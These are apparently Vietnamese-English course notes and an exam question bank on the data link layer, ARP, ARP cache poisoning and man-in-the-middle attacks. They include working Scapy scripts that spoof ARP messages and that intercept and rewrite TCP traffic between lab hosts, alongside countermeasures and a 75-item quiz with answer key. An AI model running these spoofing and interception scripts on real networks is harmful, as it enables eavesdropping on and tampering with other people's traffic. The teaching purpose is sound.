CHƯƠNG 7: DATA LINK LAYER AND ARP ATTACKS¤
PHẦN 1: DATA LINK LAYER - KHÁI NIỆM CƠ BẢN¤
1. VAI TRÒ CỦA DATA LINK LAYER¤
Sending side: - Encapsulates datagram trong frame - Thêm error checking bits - Reliable data transfer, flow control
Receiving side: - Kiểm tra errors, reliable transfer, flow control - Extracts datagram, passes lên upper layer
2. MAC ADDRESS¤
A. ĐẶC ĐIỂM¤
So với IP Address: - IP address (32-bit): Network-layer address, dùng cho layer 3 forwarding - MAC address (48-bit): Link-layer address, dùng locally để chuyển frame giữa các interface vật lý kết nối trực tiếp (cùng subnet)
Format:
- 48-bit cho hầu hết LANs
- Burned in NIC ROM, đôi khi software settable
- Ví dụ: 1A-2F-BB-76-09-AD (hexadecimal notation)
B. PHÂN BỔ VÀ QUẢN Lݤ
IEEE allocation: - MAC address allocation do IEEE quản lý - Manufacturer mua portion của MAC address space → đảm bảo uniqueness
Tương tự: - MAC address giống Social Security Number (cố định, unique) - IP address giống Postal address (thay đổi theo vị trí)
C. TÍNH PORTABLE¤
MAC flat address: - Portability: Có thể move interface từ LAN này sang LAN khác - IP address KHÔNG portable: Phụ thuộc vào IP subnet
D. ETHERNET FRAME STRUCTURE (IEEE 802.3)¤
Cấu trúc:
Type field quan trọng: - 0x0800: IPv4 - 0x0806: ARP
3. PRIVACY ISSUE VỚI MAC¤
Vấn đề: - MAC address là unique - Khi walk around Mall, talk với WiFi Access Point → tell your MAC address - APs có thể remember your MAC → trace where you have been
Giải pháp: - MAC address randomization - Probe APs = using software-generated MAC address
Trade-off: - PERFORMANCE vs PRIVACY
PHẦN 2: ARP PROTOCOL¤
1. MỤC ĐÍCH¤
Question: Làm sao xác định interface's MAC address khi biết IP address?
Answer: ARP (Address Resolution Protocol)
2. ARP TABLE (CACHE)¤
Mỗi IP node (host, router) trên LAN có table chứa:
TTL (Time To Live): - Thời gian sau đó address mapping sẽ bị forgotten - Typically 20 minutes
Linux commands:
- arp -n: Show ARP cache
- arp -d: Delete an ARP entry
3. ARP PROTOCOL HOẠT ĐỘNG¤
Ví dụ: A muốn gửi datagram cho B¤
Bước 1: A broadcasts ARP query - Chứa B's IP address - Destination MAC = FF-FF-FF-FF-FF-FF (broadcast) - Tất cả nodes trên LAN nhận ARP query
Ethernet frame:
Source MAC: 71-65-F7-2B-08-53
Source IP: 137.196.7.23
Target IP: 137.196.7.14
Dest MAC: FF-FF-FF-FF-FF-FF
Bước 2: B replies với ARP response - Gửi unicast (chỉ cho A) - Chứa B's MAC address
ARP message:
Target IP: 137.196.7.14
Target MAC: 58-23-D7-FA-20-B0
Dest MAC: 71-65-F7-2B-08-53 (A's MAC)
Bước 3: A receives B's reply - Adds B entry vào local ARP table - TTL = 500 seconds (example)
4. ROUTING TO ANOTHER SUBNET¤
Scenario: A gửi datagram cho B qua Router R
Assumptions: - A knows B's IP address - A knows R's IP address (first hop router) - A knows R's MAC address (qua ARP)
Bước 1: A → R¤
A creates: - IP datagram: src = A's IP, dst = B's IP - Link-layer frame: dst MAC = R's MAC (NOT B's!)
Quan trọng: - IP header: A → B (không đổi) - MAC header: A → R (local delivery)
Bước 2: R receives¤
- Frame received, datagram extracted
- Passed up to IP layer
Bước 3: R → B¤
R creates: - IP datagram: src = A's IP, dst = B's IP (giữ nguyên) - Link-layer frame: src MAC = R's MAC, dst MAC = B's MAC
Bước 4: B receives¤
- Extracts IP datagram
- Passes up protocol stack
Bottom line: - ARP maps address of one protocol (Ethernet) to address of another protocol (IP) - ARP là stateless protocol
5. ARP REQUEST VÀ REPLY¤
3 loại ARP messages:
1. ARP Request: - Broadcast (FF-FF-FF-FF-FF-FF) - Hỏi: "Who has IP X? Tell MAC Y"
2. ARP Reply: - Unicast - Trả lời: "IP X is at MAC Z"
3. ARP Gratuitous: - Broadcast hoặc unicast - Announce: "My IP X is at MAC Y" - Mục đích: Update ARP caches, detect IP conflicts
PHẦN 3: ARP CACHE POISONING ATTACK¤
1. GOAL¤
Mục tiêu: Poisoning the cache of ARP
2. NGUYÊN LÝ HOẠT ĐỘNG¤
Key fact: ARP is a STATELESS protocol
Question: Làm sao cause ARP update cache?
Answer: Gửi: 1. ARP Request 2. ARP Reply 3. ARP Gratuitous
Khi ARP request/reply/gratuitous đến → ARP cache sẽ được UPDATE!
Idea tấn công: Spoofing ARP messages
3. SPOOFING ARP MESSAGES BẰNG SCAPY¤
A. SPOOFING ARP REQUEST¤
Scenario: - Attacker IP: 10.102.20.154 - Target IP: 10.102.20.178, MAC: 00:50:56:a8:1a:d3 - Victim IP: 10.102.20.177, MAC: 00:50:56:a8:0e:77
Code:
from scapy.all import *
E = Ether()
E.dst = "00:50:56:a8:0e:77" # Victim's MAC (unicast)
A = ARP()
A.op = 1 # ARP Request
A.psrc = "10.102.20.178" # Target IP (fake)
A.hwsrc = "aa:bb:cc:dd:ee:ff" # FAKE MAC
A.pdst = "10.102.20.177" # Victim IP
A.hwdst = "00:50:56:a8:0e:77" # Victim MAC
sendp(E/A)
Kết quả:
- Victim nhận ARP request
- Thấy: 10.102.20.178 mapped to aacc:dd:ee:ff (FAKE!)
- Tự động add vào ARP cache
Before:
After:
B. SPOOFING ARP REPLY¤
Code:
E = Ether()
E.dst = "00:50:56:a8:0e:77" # Victim's MAC
A = ARP()
A.op = 2 # ARP Reply
A.psrc = "10.102.20.178" # Target IP (fake)
A.hwsrc = "aa:bb:cc:dd:ee:ff" # FAKE MAC
A.pdst = "10.102.20.177" # Victim IP
A.hwdst = "00:50:56:a8:0e:77" # Victim MAC
sendp(E/A)
C. SPOOFING ARP GRATUITOUS¤
Code:
E = Ether()
E.dst = "ff:ff:ff:ff:ff:ff" # Broadcast
A = ARP()
A.op = 1 # Request (hoặc 2 cho Reply)
A.psrc = "10.102.20.178" # Target IP (fake)
A.hwsrc = "aa:bb:cc:dd:ee:ff" # FAKE MAC
A.pdst = "10.102.20.178" # SAME as psrc!
A.hwdst = "00:00:00:00:00:00" # All zeros hoặc broadcast
sendp(E/A)
4. QUAN SÁT QUAN TRỌNG¤
ARP Request: - Không quan trọng entry đã có trong cache hay chưa - Target sẽ tự động accept spoofed request
ARP Reply và Gratuitous: - Thường là response to request HOẶC đã có entry trong cache - Vấn đề: Nếu chưa có entry?
Giải pháp: Trigger target put Valid entry vào cache
Cách: 1. Send spoofed ICMP echo request to target (pretending to be victim) 2. Target replies to victim → cần biết victim's MAC 3. Target sends ARP request for victim 4. NOW entry tồn tại → có thể poison!
PHẦN 4: MAN-IN-THE-MIDDLE (MITM) ATTACK USING ARP¤
1. GENERAL IDEA¤
Normal communication:
MITM:
Question: What if attacker NOT in the middle?
Answer: Need to REDIRECT traffic
Methods: - Link layer: ARP cache poisoning - Network layer: ICMP redirect - Application layer: DNS cache poisoning
2. MITM VỚI ARP CACHE POISONING¤
Setup ban đầu:¤
Alice (A):
Bob (B):
Micheal (M): Attacker (phải cùng network với A và B)
Bước 1: Cache Poison cả A và B¤
Poison Alice: - Tell A: "IP_B is at MAC_M"
Poison Bob: - Tell B: "IP_A is at MAC_M"
Kết quả:
Alice's ARP table:
Bob's ARP table:
Bước 2: A gửi packet cho B¤
IP header: - src = IP_A - dst = IP_B - (Không đổi!)
MAC header: - src = MAC_A - dst = MAC_M (vì ARP cache bị poison!)
Packet đến M!
Bước 3: M nhận packet - 2 Scenarios¤
Scenario 1: M configured as ROUTER - IP Forwarding = 1 - Kernel automatically relay packet to B - M chỉ cần sniff để xem/modify
Scenario 2: M configured as HOST - IP Forwarding = 0 (default) - dst IP ≠ M's IP → Kernel drops packet - B KHÔNG nhận được packet!
Vậy phải làm gì?
3. GIẢI PHÁP: SNIFF VÀ SPOOF¤
Vấn đề: Kernel drops packets (vì dst IP ≠ M's IP)
Giải pháp:
Step 1: Open Raw Socket - Tell kernel: "Before you drop them, give me a copy!"
Step 2: Sniff packets - Receive copy of packets trước khi kernel drops
Step 3: Modify packets - Change content as desired
Step 4: Spoof modified packets - Forward to real destination (B)
Kết quả: - B receives MODIFIED packet from A - B thinks packet từ A (IP src = A) - M is in the middle!
4. CODE EXAMPLE: MITM TRÊN NETCAT¤
#!/usr/bin/env python3
from scapy.all import *
VM_A = "10.9.0.5"
VM_B = "10.9.0.6"
MAC_A = "02:42:0a:09:00:05"
MAC_B = "02:42:0a:09:00:06"
MAC_M = "02:42:0a:09:00:69"
def spoof_pkt(pkt):
if pkt[IP].src == VM_A and pkt[IP].dst == VM_B:
# Intercept A → B
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum) # Remove checksums
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)
if pkt[TCP].payload:
data = pkt[TCP].payload.load
# Modify data
newdata = data.replace(b'kevin', b'AAAAA')
send(newpkt/newdata) # Scapy recalculates checksums
else:
send(newpkt)
elif pkt[IP].src == VM_B and pkt[IP].dst == VM_A:
# Relay B → A (không modify)
send(pkt[IP])
# Sniff and intercept
f = f'tcp and (ether src {MAC_A} or ether src {MAC_B})'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
Giải thích: - Sniff TCP packets từ A hoặc B - Nếu A → B: Replace 'kevin' với 'AAAAA' - Nếu B → A: Forward không đổi - Delete checksums → Scapy tự động recalculate
5. CODE EXAMPLE: MITM TRÊN TELNET¤
Lưu ý về Telnet: - Netcat: Gửi cả dòng trong 1 TCP packet - Telnet: Mỗi character = 1 TCP packet, server echo back
Code:
def spoof_pkt(pkt):
if pkt[IP].src == VM_A and pkt[IP].dst == VM_B:
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].chksum)
if pkt[TCP].payload:
data = pkt[TCP].payload.load
# Replace all alphabet characters with 'A'
newdata = re.sub(r'[a-zA-Z]', r'A', data.decode())
send(newpkt/newdata.encode())
else:
send(newpkt)
elif pkt[IP].src == VM_B and pkt[IP].dst == VM_A:
send(pkt[IP])
f = f'tcp and (ether src {MAC_A} or ether src {MAC_B})'
sniff(iface='eth0', filter=f, prn=spoof_pkt)
PHẦN 5: VẤN ĐỀ VÀ COUNTERMEASURES¤
1. HẠN CHẾ CỦA ARP CACHE POISONING¤
Câu hỏi (Fiction): "In 2019, Russia hackers launched many ARP cache poisoning attacks from Russia against White House network. Do you applaud?"
Answer: NO!
Lý do: - You have to be INSIDE network to launch ARP cache poisoning - Không thể attack từ xa (Russia → White House) - → It's not that significant attack
Bottom line: - ARP hoạt động ở Link layer (Layer 2) - Chỉ trong same subnet/LAN - Không route qua Internet
2. COUNTERMEASURES¤
Best countermeasure: ENCRYPTION!
Lý do: - Hiện nay: Nhiều communications được encrypted (HTTPS, SSH, VPN...) - Attacker vẫn có thể launch cache poisoning - Nhưng MITM attack will NOT be successful - Vì won't be able to MODIFY traffic (encrypted!)
Chỉ còn có thể: - Denial of Service (drop packets) - Không thể đọc/modify content
Encryption is the BEST countermeasure against most MITM attacks
3. COUNTERMEASURES KHÁC¤
1. Static ARP Entries: - Manually configure ARP table - Không bị update bởi ARP messages - Nhược điểm: Không scalable, khó maintain
2. ARP Monitoring Tools: - Detect ARP cache changes - Alert khi suspicious ARP traffic - Tools: ARPwatch, XArp
3. Port Security (Switch level): - Bind MAC addresses to switch ports - Prevent MAC spoofing - Cisco: Port Security feature
4. 802.1X Authentication: - Authenticate devices trước khi allow network access
5. VLANs: - Segment network - Giảm broadcast domain - Limit ARP poisoning scope
PHẦN 6: PACKET SNIFFING ISSUE - HOMEWORK¤
Task: Observe difference giữa 2 commands:
Command 1:
Command 2:
Attacker: 10.102.20.154 (sniffing) Victim: 10.102.20.177 (ping)
Question: Sự khác biệt?
Answer:
Command 1 (1.2.3.4 - khác subnet): - Victim checks: 1.2.3.4 NOT on local network - Gửi qua default gateway (router) - ARP query cho router's MAC (NOT 1.2.3.4!) - Packet: dst MAC = router, dst IP = 1.2.3.4 - Attacker CÓ THỂ sniff ICMP packets nếu cùng LAN
Command 2 (10.20.20.111 - cùng subnet): - Victim checks: 10.20.20.111 ON local network - ARP query for 10.20.20.111 (broadcast) - Attacker CÓ THỂ sniff ARP request! - Nếu không ai reply → ICMP packets KHÔNG được gửi (no MAC address!) - Nếu attacker spoof ARP reply → có thể intercept!
Key difference: - Khác subnet: ARP for gateway, ICMP được gửi - Cùng subnet: ARP for destination, nếu không reply → NO ICMP
NGÂN HÀNG CÂU HỎI CHƯƠNG 7¤
PHẦN 1: DATA LINK LAYER & MAC¤
Câu 1: Data Link layer ở sending side làm gì?
A. Chỉ gửi packets
B. Encapsulates datagram trong frame, thêm error checking ✓
C. Routing packets
D. Mã hóa data
Câu 2: Data Link layer ở receiving side làm gì?
A. Chỉ nhận frames
B. Kiểm tra errors, extracts datagram, passes lên upper layer ✓
C. Forward packets
D. Decrypt data
Câu 3: MAC address có độ dài bao nhiêu bits?
A. 32 bits
B. 48 bits ✓
C. 64 bits
D. 128 bits
Câu 4: IP address có độ dài bao nhiêu bits?
A. 16 bits
B. 32 bits (IPv4) ✓
C. 48 bits
D. 64 bits
Câu 5: MAC address được dùng cho mục đích gì?
A. Layer 3 forwarding
B. Locally chuyển frame giữa interfaces vật lý kết nối trực tiếp (same subnet) ✓
C. Routing qua Internet
D. DNS resolution
Câu 6: IP address được dùng cho mục đích gì?
A. Local delivery
B. Layer 3 (network layer) forwarding ✓
C. MAC address mapping
D. Error checking
Câu 7: MAC address được lưu ở đâu?
A. RAM
B. NIC ROM (burned in), đôi khi software settable ✓
C. Hard disk
D. CPU cache
Câu 8: MAC address allocation được quản lý bởi ai?
A. IETF
B. IEEE ✓
C. ICANN
D. W3C
Câu 9: Manufacturer mua gì từ IEEE?
A. IP address range
B. Portion of MAC address space ✓
C. Domain names
D. SSL certificates
Câu 10: MAC address tương tự như gì?
A. Postal address
B. Social Security Number (cố định, unique) ✓
C. Phone number
D. Email address
Câu 11: IP address tương tự như gì?
A. Social Security Number
B. Postal address (thay đổi theo vị trí) ✓
C. Fingerprint
D. Driver license
Câu 12: MAC address có portable không?
A. Không
B. Có - có thể move interface từ LAN này sang LAN khác ✓
C. Tùy thuộc hệ thống
D. Chỉ trong cùng building
Câu 13: IP address có portable không?
A. Có
B. Không - phụ thuộc vào IP subnet ✓
C. Luôn portable
D. Chỉ với static IP
Câu 14: Ethernet Type field 0x0800 nghĩa là gì?
A. ARP
B. IPv4 ✓
C. IPv6
D. ICMP
Câu 15: Ethernet Type field 0x0806 nghĩa là gì?
A. IPv4
B. ARP ✓
C. TCP
D. UDP
Câu 16: MAC address format sử dụng notation nào?
A. Decimal
B. Binary
C. Hexadecimal (base 16) ✓
D. Octal
Câu 17: Vấn đề privacy với MAC address?
A. Không có vấn đề
B. MAC unique → APs có thể trace where you have been ✓
C. Dễ bị hack
D. Quá dài
Câu 18: Giải pháp cho MAC privacy issue?
A. Không dùng WiFi
B. MAC address randomization (software-generated MAC) ✓
C. Tắt network card
D. Dùng VPN
Câu 19: Trade-off của MAC randomization?
A. Cost vs Security
B. Performance vs Privacy ✓
C. Speed vs Reliability
D. Bandwidth vs Latency
PHẦN 2: ARP PROTOCOL¤
Câu 20: ARP viết tắt của gì?
A. Automatic Routing Protocol
B. Address Resolution Protocol ✓
C. Advanced Research Protocol
D. Application Request Protocol
Câu 21: ARP làm gì?
A. Routing packets
B. Xác định MAC address khi biết IP address ✓
C. Mã hóa data
D. Compress packets
Câu 22: ARP table (cache) chứa gì?
A. Chỉ IP addresses
B. Chỉ MAC addresses
C.
D. Routing information
Câu 23: TTL trong ARP table nghĩa là gì?
A. Total Transfer Limit
B. Time To Live - thời gian mapping sẽ bị forgotten ✓
C. Type To Link
D. Transport Layer Limit
Câu 24: ARP TTL typically là bao lâu?
A. 5 minutes
B. 10 minutes
C. 20 minutes ✓
D. 60 minutes
Câu 25: Linux command để show ARP cache?
A. ifconfig
B. arp -n ✓
C. netstat
D. route
Câu 26: Linux command để delete ARP entry?
A. arp -a
B. arp -d ✓
C. arp -s
D. arp -r
Câu 27: ARP Request được gửi đến MAC address nào?
A. 00:00:00:00:00:00
B. FF:FF:FF:FF:FF:FF (broadcast) ✓
C. Router's MAC
D. Destination's MAC
Câu 28: ARP Reply được gửi đến MAC address nào?
A. Broadcast
B. Requester's MAC (unicast) ✓
C. Router's MAC
D. All nodes
Câu 29: Khi nhận ARP Request/Reply/Gratuitous, node làm gì?
A. Ignore
B. Forward
C. Update ARP cache ✓
D. Send ICMP
Câu 30: ARP là loại protocol gì?
A. Stateful
B. Stateless ✓
C. Connection-oriented
D. Encrypted
Câu 31: ARP Gratuitous có mục đích gì?
A. Request MAC
B. Announce "My IP X is at MAC Y", update caches, detect IP conflicts ✓
C. Delete ARP entries
D. Encrypt traffic
Câu 32: ARP maps address của protocol nào?
A. TCP to UDP
B. Ethernet to IP ✓
C. IP to DNS
D. HTTP to HTTPS
PHẦN 3: ROUTING TO ANOTHER SUBNET¤
Câu 33: A gửi packet cho B (khác subnet) qua R. IP header?
A. src = A, dst = R
B. src = R, dst = B
C. src = A, dst = B (KHÔNG ĐỔI!) ✓
D. src = B, dst = A
Câu 34: A gửi packet cho B qua R. MAC header (A → R)?
A. src = A, dst = B
B. src = A, dst = R ✓
C. src = R, dst = B
D. src = B, dst = A
Câu 35: R forward packet đến B. IP header?
A. src = R, dst = B
B. src = A, dst = B (vẫn giữ nguyên) ✓
C. src = A, dst = R
D. Thay đổi hoàn toàn
Câu 36: R forward packet đến B. MAC header?
A. src = A, dst = B
B. src = A, dst = R
C. src = R, dst = B ✓
D. src = B, dst = R
Câu 37: Khi A gửi cho B (khác subnet), A cần biết gì?
A. Chỉ B's IP
B. B's MAC address
C. Router's MAC address (first hop) ✓
D. All routers' MACs
PHẦN 4: ARP CACHE POISONING¤
Câu 38: ARP Cache Poisoning attack mục tiêu là gì?
A. Delete ARP cache
B. Poisoning (làm nhiễm độc) ARP cache ✓
C. Encrypt ARP
D. Compress ARP
Câu 39: ARP là stateless protocol nghĩa là gì liên quan đến attack?
A. Không thể attack
B. Nhận ARP messages → tự động update cache, không verify ✓
C. Cần authentication
D. Luôn kiểm tra
Câu 40: Gửi loại ARP message nào có thể poison cache?
A. Chỉ Request
B. Chỉ Reply
C. Request, Reply, HOẶC Gratuitous ✓
D. Không loại nào
Câu 41: Idea chính của ARP Cache Poisoning?
A. Delete ARP
B. Spoofing ARP messages ✓
C. Flood ARP
D. Encrypt ARP
Câu 42: Spoofed ARP Request, target sẽ làm gì?
A. Ignore
B. Verify trước
C. Tự động accept và update cache ✓
D. Send error
Câu 43: Với ARP Reply/Gratuitous, vấn đề gì nếu chưa có entry?
A. Không có vấn đề
B. Có thể KHÔNG update cache ✓
C. Luôn update
D. Send error
Câu 44: Giải pháp khi chưa có entry trong cache? A. Không thể poison
B. Trigger target put valid entry: Send spoofed ICMP echo request ✓
C. Wait timeout
D. Restart network
Câu 45: ARP op code = 1 nghĩa là gì?
A. Reply
B. Request ✓
C. Gratuitous
D. Error
Câu 46: ARP op code = 2 nghĩa là gì?
A. Request
B. Reply ✓
C. Gratuitous
D. Error
Câu 47: Scapy code để spoof ARP Request?
A. A.op = 2
B. A.op = 1 ✓
C. A.type = "request"
D. A.cmd = "arp_req"
PHẦN 5: MAN-IN-THE-MIDDLE ATTACK¤
Câu 48: MITM attack mục đích là gì?
A. Delete traffic
B. Intercept và/hoặc modify traffic giữa A và B ✓
C. Speed up traffic
D. Encrypt traffic
Câu 49: Để launch MITM, attacker cần gì?
A. Chỉ cần biết IP
B. Redirect traffic qua mình ✓
C. Chỉ cần password
D. Physical access
Câu 50: Methods để redirect traffic?
A. Chỉ ARP poisoning
B. Chỉ DNS poisoning
C. Link layer (ARP), Network layer (ICMP), Application layer (DNS) ✓
D. Chỉ ICMP redirect
Câu 51: MITM với ARP poisoning, attacker phải ở đâu?
A. Anywhere trên Internet
B. Cùng network (same LAN/subnet) với victims ✓
C. Khác country
D. Khác continent
Câu 52: MITM với ARP, poison cache của ai?
A. Chỉ Alice
B. Chỉ Bob
C. Cả Alice VÀ Bob ✓
D. Chỉ router
Câu 53: Sau khi poison, Alice's ARP table có gì?
A. IP_B → MAC_B (correct)
B. IP_B → MAC_M (attacker's MAC) ✓
C. IP_M → MAC_B
D. Bị xóa
Câu 54: Sau khi poison, Bob's ARP table có gì?
A. IP_A → MAC_A (correct)
B. IP_A → MAC_M (attacker's MAC) ✓
C. IP_M → MAC_A
D. Bị xóa
Câu 55: Alice gửi packet cho Bob sau khi bị poison. IP header?
A. src = Alice, dst = Micheal
B. src = Alice, dst = Bob (vẫn đúng!) ✓
C. src = Micheal, dst = Bob
D. Bị thay đổi
Câu 56: Alice gửi packet cho Bob sau poison. MAC header?
A. src = Alice, dst = Bob
B. src = Alice, dst = Micheal ✓
C. src = Micheal, dst = Bob
D. src = Bob, dst = Alice
Câu 57: Micheal configured as ROUTER (IP Forwarding = 1), điều gì xảy ra?
A. Drop packets
B. Kernel tự động relay packets to Bob ✓
C. Send error
D. Encrypt packets
Câu 58: Micheal configured as HOST (IP Forwarding = 0), điều gì xảy ra?
A. Relay packets
B. Kernel drops packets (dst IP ≠ M's IP) ✓
C. Forward to gateway
D. Broadcast packets
Câu 59: Nếu IP Forwarding = 0, làm sao MITM thành công?
A. Không thể
B. Bắt buộc enable IP Forwarding
C. Open raw socket, sniff packets trước khi drop, rồi spoof forward ✓
D. Restart network
Câu 60: Raw socket giúp gì cho MITM?
A. Tăng tốc độ
B. Get copy of packets TRƯỚC KHI kernel drops ✓
C. Mã hóa packets
D. Routing packets
Câu 61: Trong MITM code, tại sao delete checksums?
A. Không cần checksums
B. Để Scapy TỰ ĐỘNG recalculate sau khi modify ✓
C. Checksums gây lỗi
D. Tăng tốc độ
Câu 62: Netcat vs Telnet khác nhau như thế nào về packet sending?
A. Giống nhau
B. Netcat: cả dòng trong 1 packet; Telnet: mỗi char = 1 packet ✓
C. Telnet nhanh hơn
D. Netcat không gửi packets
PHẦN 6: COUNTERMEASURES¤
Câu 63: ARP Cache Poisoning có thể attack từ xa (remote) không?
A. Có
B. KHÔNG - phải ở INSIDE network (same LAN) ✓
C. Tùy firewall
D. Chỉ với VPN
Câu 64: Lý do ARP poisoning không thể remote?
A. Firewall block
B. ARP hoạt động ở Link layer (Layer 2), chỉ same subnet ✓
C. Encryption
D. Authentication required
Câu 65: Best countermeasure chống MITM attacks?
A. Firewall
B. Antivirus
C. ENCRYPTION (HTTPS, SSH, VPN) ✓
D. Strong password
Câu 66: Tại sao Encryption là best countermeasure?
A. Tăng tốc độ
B. Attacker không thể modify encrypted traffic ✓
C. Block ARP
D. Prevent spoofing
Câu 67: Nếu traffic được encrypt, attacker vẫn poison được không?
A. Không
B. Có - vẫn poison được nhưng MITM không thành công ✓
C. Tùy encryption
D. Chỉ với weak encryption
Câu 68: Với encrypted traffic, attacker chỉ có thể làm gì?
A. Đọc content
B. Modify content
C. Denial of Service (drop packets) ✓
D. Tất cả đều được
Câu 69: Static ARP entries là gì?
A. ARP tự động update
B. Manually configure, không bị update bởi ARP messages ✓
C. Dynamic ARP
D. Random ARP
Câu 70: Nhược điểm của Static ARP?
A. Không an toàn
B. Không scalable, khó maintain ✓
C. Quá chậm
D. Không hoạt động
Câu 71: ARP monitoring tools làm gì?
A. Generate ARP
B. Detect ARP cache changes, alert suspicious traffic ✓
C. Block all ARP
D. Encrypt ARP
Câu 72: Tools nào cho ARP monitoring?
A. Wireshark only
B. ARPwatch, XArp ✓
C. Chrome, Firefox
D. Word, Excel
Câu 73: Port Security (Switch level) làm gì?
A. Mở tất cả ports
B. Bind MAC addresses to switch ports, prevent MAC spoofing ✓
C. Close all ports
D. Random ports
Câu 74: VLANs giúp gì chống ARP poisoning?
A. Encrypt traffic
B. Segment network, giảm broadcast domain, limit scope ✓
C. Increase speed
D. Block all traffic
Câu 75: 802.1X Authentication làm gì?
A. Encrypt data
B. Authenticate devices trước khi allow network access ✓
C. Speed up network
D. Compress traffic
ĐÁP ÁN NHANH¤
1.B 2.B 3.B 4.B 5.B 6.B 7.B 8.B 9.B 10.B 11.B 12.B 13.B 14.B 15.B 16.C 17.B 18.B 19.B 20.B 21.B 22.C 23.B 24.C 25.B 26.B 27.B 28.B 29.C 30.B 31.B 32.B 33.C 34.B 35.B 36.C 37.C 38.B 39.B 40.C 41.B 42.C 43.B 44.B 45.B 46.B 47.B 48.B 49.B 50.C 51.B 52.C 53.B 54.B 55.B 56.B 57.B 58.B 59.C 60.B 61.B 62.B 63.B 64.B 65.C 66.B 67.B 68.C 69.B 70.B 71.B 72.B 73.B 74.B 75.B
BẢNG TÓM TẮT NHANH - CHƯƠNG 7¤
1. DATA LINK LAYER & MAC¤
- MAC: 48-bit, burned in NIC, portable
- IP: 32-bit, not portable, depends on subnet
- MAC = SSN (cố định), IP = Postal (thay đổi)
- Type: 0x0800 = IPv4, 0x0806 = ARP
- Privacy issue: MAC unique → tracking
2. ARP PROTOCOL¤
- Mục đích: IP → MAC address
- ARP Table:
(20 min) - Request: Broadcast (FF:FF:FF:FF:FF:FF)
- Reply: Unicast
- Stateless: Nhận → tự động update, không verify
3. ROUTING SUBNET¤
- Same subnet: Direct delivery (dst MAC = dest)
- Different subnet: Qua router
- IP: A → B (không đổi)
- MAC: A → R, rồi R → B
4. ARP CACHE POISONING¤
- Goal: Poison ARP cache
- Method: Spoof ARP Request/Reply/Gratuitous
- Scapy:
A.op = 1(Request)A.op = 2(Reply)- Set fake
hwsrc
5. MITM ATTACK¤
- Requirements: Same LAN/subnet
- Steps:
- Poison cả A và B: IP_B → MAC_M, IP_A → MAC_M
- Traffic qua M
- If IP Forwarding = 0: Raw socket sniff + spoof
- Code: Delete checksums → Scapy recalc
6. COUNTERMEASURES¤
- Best: ENCRYPTION (HTTPS, SSH, VPN)
- Lý do: Không modify được encrypted traffic
- Others: Static ARP, Monitoring, Port Security, VLANs, 802.1X
7. LIMITATIONS¤
- ARP poisoning: CHỈ inside network (same LAN)
- KHÔNG THỂ remote (Layer 2, không route)
CHUẨN BỊ THI: Nhớ kỹ MAC vs IP, ARP workflow (Request broadcast → Reply unicast), ARP stateless, spoofing với Scapy (op=½, hwsrc), MITM steps, IP Forwarding=0 solution, và Encryption best countermeasure!